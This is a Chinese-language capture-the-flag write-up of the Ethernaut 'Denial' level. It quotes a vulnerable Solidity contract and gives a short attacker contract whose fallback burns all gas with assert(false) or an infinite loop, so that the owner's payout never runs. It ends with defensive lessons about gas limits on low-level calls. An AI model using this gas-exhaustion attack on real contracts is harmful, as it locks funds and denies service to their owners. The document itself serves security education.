(https://ethernaut.openzeppelin.com/level/0xf1D573178225513eDAA795bE9206f7E311EeDEc3)
這一關的題目說Denial這個合約會將所剩餘的錢錢一次分一小部分(看程式的寫法是1%)分給Partner,呼叫setWithdrawPartner()可將一個位址設為Partner,當呼叫withdraw()時就會分錢啦,但同時呢,也會分錢給Owner,但這關的過關條件就是:我們想拿到錢,但是,我們不想分錢給Owner。
contract Denial {
address public partner;
address payable public constant owner = address(0xA9E);
uint timeLastWithdrawn;
mapping(address => uint) withdrawPartnerBalances;
function setWithdrawPartner(address _partner) public {
partner = _partner;
}
// withdraw 1% to recipient and 1% to owner
function withdraw() public {
uint amountToSend = address(this).balance.div(100);
partner.call{value:amountToSend}("");
owner.transfer(amountToSend);
timeLastWithdrawn = now;
withdrawPartnerBalances[partner] = withdrawPartnerBalances[partner].add(amountToSend);
}
}
這題讓我們想起了re-entrancy,看程式的寫法,我們需要能拿到錢,要執行partner.call{value:amountToSend}(“”);接著,要讓Owner拿不到錢,就需要讓它的下一句owner.transfer(amountToSend)不能執行。
我們有兩個方式,一個方式跟re-entrancy一樣,重複呼叫withdraw()直到把錢用完,但今天我們用另一個方式來達成: Out of Gas;如果在前一步就將gas用完了,則owner.transfer(amountToSend)自然不能執行,而ethernum中的錯誤處理方式中包含了一個assert()的功能,會將gas用完,由於partner.call{value:amountToSend}(“”);並沒有指定使用的gas量,因此當Partner合約中的receive()裡面插入一個assert(false),就會返回fail且用完gas!
江湖一點訣,說破不值錢。我們在Remix上編寫以下的sol程式並部署後,將該合約設為partner,然後submit,登呢,過關。
//in Remix
pragma solidity ^0.6.0;
contract HackDenial {
fallback() payable external {
assert(false);
//while(true){
}
}
}
//deploy and get contract address
//in console
await contract.setWithdrawPartner("<HackDenial contract address here>")
補充說明:
- call的語法:someAddress.call{gas: x, value: y}(data) (example: someAddress.call({value: 1 ether})(abi.encodeWithSignature(“someFunction(uint256)”, _arg1))。因為partner.call{value:amountToSend}(“”)語句中call並沒有帶data的參數,因此沒有呼叫任何一個function而會去執行partner contract的fallback()。
- assert()語句在solidity >0.8.0 之後會有問題,另一個寫法就是讓其陷入無窮迴圈直到用完gas。
Takeaway:
- assert()應該主要用於測試環境中才會出現的情況,正式環境通常以require()來作為程式錯誤或檢查的判斷。
- 使用低階語法call時,建議要帶gas參數來限制。
- 另外,從程式順序的角度,呼叫其他合約的語句可以盡量寫在最後。